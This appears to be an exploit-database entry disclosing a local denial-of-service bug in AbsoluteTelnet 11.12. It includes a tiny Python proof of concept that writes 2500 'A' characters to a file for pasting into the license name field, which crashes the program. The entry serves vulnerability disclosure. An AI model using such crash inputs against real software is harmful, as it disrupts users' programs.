AbsoluteTelnet 11.12 - 'license name' Denial of Service (PoC)

Author: chuyreds
type: dos
platform: windows
port: 
date_added: 2020-02-06 
date_updated: 2020-02-06 
verified: 0 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url: 

# Exploit Title: AbsoluteTelnet 11.12 - "license name" Denial of Service (PoC)
# Discovery by: chuyreds
# Discovery Date: 2020-02-05
# Vendor Homepage: https://www.celestialsoftware.net/
# Software Link : https://www.celestialsoftware.net/telnet/AbsoluteTelnet11.12.exe
# Tested Version: 11.12
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 10 Pro x64 es


#Steps to produce the crash:
#1.- Run python code: AbsoluteTelent 11.12_license_name.py
#2.- Open AbsoluteTelent_license_name.txt and copy content to clipboard
#3.- Open AbsoluteTelnet.exe
#4.- Select "Help" > "Enter License Key"
#5.- In "License Name" paste Clipboard
#6.- Crashed

cod = "\x41" * 2500

f = open('AbsoluteTelent_license_name.txt', 'w')
f.write(cod)
f.close()